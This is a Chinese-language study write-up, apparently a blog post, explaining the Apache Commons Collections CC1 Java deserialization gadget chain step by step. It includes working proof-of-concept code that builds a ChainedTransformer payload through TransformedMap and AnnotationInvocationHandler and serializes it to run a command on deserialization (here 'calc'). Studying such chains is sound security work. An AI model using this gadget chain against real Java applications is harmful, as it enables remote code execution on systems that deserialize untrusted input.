前言:
本文主要记录学习cc1的过程,cc1是第一条也是最经典的一条利用链,后面几条利用链也是基本多多少少利用了这条链子,刚接触javacc链,过程中有错误理解不对的地方,欢迎师傅们指正
分析过程:
先简单提一下利用链是怎么形成的,也便我们好寻找
org.apache.commons.collections.functors Commons Collections 自定义的一组功能类
这组功能类里面有个 ConstantTransformer.java 是一个转换器,里面定义了一个 transform 方法,接收一个对象,并完整输出,也就是说可以从这里来入手
然后我们重点关注下 InvokerTransformer.java 因为里面的 transform 函数 接收一个对象,然后经过反射调用,方法值参数类型参数全部可控制,这里是链子的触发点,最终程序执行流会在这里触发我们想要的结果
构造利用链
构造payload看下InvokerTransformer的transform能不能用
按照 InvokerTransformer 给出的写法构造利用payload,这里先给runtme实例化为对象r,然后按照InvokerTransformer函数给出的类型填写方法,参数值等,最后调用transform执行前面实例化的 对象r执行calc
import org.apache.commons.collections.functors.InvokerTransformer;
public class CC1 {
public static void main(String[] args) throws Exception {
Runtime r = Runtime.getRuntime();
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(r);
}
这里是成功的执行了calc
寻找利用链
下面就去找有哪些类调用了 transform 方法,共有21个类调用了这个方法。主要去找不同名字的类调用transform 的方法
重点关注 TransformedMap 类,因为里面三处函数调用了transform方法
进入 checkSetValue 方法,可以看到checkSetValue 函数调用了 valueTransformer 的 transform 方法,然后还需要找下checkSetValue 方法被哪里调用了
再来看下 valueTransformer 值是怎么传递过来的,它的函数修饰符是 protected 也就是说它会被自己调用
接着简单分析下,这里实现了一个构造器 TransformedMap函数,super() 是 AbstractInputCheckedMapDecorator 这个父类里面定义的,用来包装函数用的,剩下两个参数是一个键值对
看到修饰符是一个受保护的方法,所以要找谁调用了它,向上看有一个 decorate 函数 是个静态方法,调用TransformedMap函数简单分析下是对传进来的值进行转换封装
也就是说只要调用 TransformedMap的decorate 方法就可以走到TransformedMap方法处。可以看到只有一处调用了checkSetValue ,进去看到其实是 TransformedMap 的父类
里面定义了一个MapEntry类,这个类里面的setValue 方法调用了checkSetValue方法,值也是可控的,接下来需要找一下哪个readObject类里面调用了setValue
右键setValue可以看到刚好在 AnnotationInvocationHandler 类的readObject方法里有一个遍历数组的功能,并且调用了setValue,但是有一个if,下面再说怎么绕先进到这个类里
进到这个类里从构造函数和接受的参数来看,此类没有修饰符默认为default需要用反射来获取,然后接收了两个参数,第一个是注解,第二个值也是可控的,直接map传进去一个对象就可以调用
再回来看一下readObject方法,由于runtime没有继承serialize接口所以不能反序列化,之后看到if那里还需要满足两个条件才能执行到setValue方法,不过没关系
这里可以通过反射来调用Runtime,来解决不能序列化的问题,因为没有继承Serializable接口
再来调试一下,下断点可以看到,程序在进入 if 时值是空的,这段代码的意思是判断memberValue里是否具有成员方法,没有就跳出程序
所以说只需要覆写注解里面的target的value即可实现绕过
具体实现
然后程序执行到下面会将valueTransformer.transform(value)里面的vualue改成AnnotationTypeMismatchExceptionProxy,绕过它也很简单其实还有一个ConstantTransformer类,这里可以通过调用它的transform来反射调用Runtime
具体实现
至此这条链子算是找完了,接下来开始构造链子
package org.example;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.IOException;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.io.FileOutputStream;
import java.util.HashMap;
import java.util.Map;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.io.FileInputStream;
public class CC1 {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> map = new HashMap<>();
map.put("value","ccc");
Map<Object, Object> transformedMap = TransformedMap.decorate(map,null,chainedTransformer);
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotationInvocationdhlConstructor = c.getDeclaredConstructor(Class.class,Map.class);
annotationInvocationdhlConstructor.setAccessible(true);
Object o = annotationInvocationdhlConstructor.newInstance(Target.class, transformedMap);
serialize(o);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}
执行一下试试,成功弹出计算器
总结:
执行流程
写的比较细,师傅们可以下断点调试一下,如果有错的地方欢迎指出
ConstantTransformer().transform()
InvokerTransformer().transform()
TransformedMap().decorate().TransformedMap
AbstractInputCheckedMapDecorator().entrySet().next().MapEntry()
AnnotationInvocationHandler().readObject().setValue()
TransformedMap().checkSetValue()
InvokerTransformer().transform().getMethod().invoke().exec()
最后transformedmap相对ysoserial里的那条cc1来说还是比较容易一点,学习完收益良多